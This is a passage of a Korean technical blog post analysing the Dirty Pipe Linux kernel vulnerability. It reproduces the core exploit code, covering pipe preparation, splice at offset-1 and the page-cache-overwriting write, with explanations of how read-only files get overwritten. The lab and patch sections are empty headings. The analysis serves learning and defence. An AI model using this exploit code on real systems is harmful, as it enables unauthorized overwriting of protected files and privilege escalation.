또한 오프셋이 덮어쓸 대상 파일의 크기보다 클 수는 없다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

...

/* create the pipe with all flags initialized with
    PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

p[0]는 읽기용, p[1]은 쓰기용 파이프로 사용된다.

4Kb 크기의 버퍼를 반복해서 write하며 파이프를 채우는데 이를 통해 여러 개의 pipe_buffer 구조체를 생성할 수 있다.
기본적으로 익명 파이프 버퍼는 병합이 가능하도록 플래그가 설정되기 때문에 이때 각 pipe_buffer에는 PIPE_BUF_FLAG_CAN_MERGE 플랙그가 설정된다.

파이프를 채우고 나면 다시 전부 read하면서 파이프를 비운다.
이러면 pipe_buffer 구조체의 데이터는 해제되지만 구조체 자체의 메모리는 재사용이 가능하다.

하지만 커널이 flags 필드를 초기화하지 않고 남겨두기 때문에 재사용 시 PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정된 상태로 남는다.

따라서 커널이 새로운 데이터를 넣더라도 플래그가 이미 설정되어 있어 이후 write() 호출 시 페이지 캐시 페이지에 append가 가능해 취약점이 발생한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* splice one byte from before the specified offset into the
    pipe; this will add a reference to the page cache, but
    since copy_page_to_iter_pipe() does not initialize the
    "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
    perror("splice failed");
    return EXIT_FAILURE;
}
if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return EXIT_FAILURE;
}

데이터를 덮어쓰고자 하는 위치의 바로 직전 바이트(offset-1)를 파이프로 splice()하면 파이프 안에는 offset-1 위치까지 1바이트 길이의 pipe_buffer가 생긴다.
이후 write()가 바로 그 다음 바이트인 offset부터 append하기 때문에 덮어쓰기 시작점을 정확히 offset에 맞추기 위해 --offset;을 사용하는 것이다.

offset을 페이지 경계로 하면 offset-1이 이전 페이지가 되어 실패하기 때문에 offset을 페이지 경계로 두면 안 되는 것이다.

splice() 함수를 사용하여 대상 파일의 페이지 캐시 페이지를 참조해 파이프에 zero-copy로 연결한다.


1
2
3
4
5
6
7
8
9
10
11
12
/* the following write will not create a new pipe_buffer, but
    will instead write into the page cache, because of the
    PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
    perror("write failed");
    return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
    fprintf(stderr, "short write\n");
    return EXIT_FAILURE;
}

바로 후에 write() 함수롤 사용하여 데이터를 write하면 해당 파이프의 마지막 pipe_buffer가 페이지 캐시 페이지를 참조하고 있고 PIPE_BUF_FLAG_CAN_MERGE가 초기화되어 있지 않고 설정되어 있기 때문에 새로운 pipe_buffer를 만들지 않고 페이지 캐시 페이지를 덮어쓴다.

이를 통해 쓰기 권한이 없는 읽기 전용 파일을 덮어쓸 수 있게 된다.

6. 실습

6.1. 환경

6.2. 재현

7. 패치 및 대응 방안

8. 결론

이 게시글은 저작권자의 CC BY 4.0 라이센스를 따릅니다.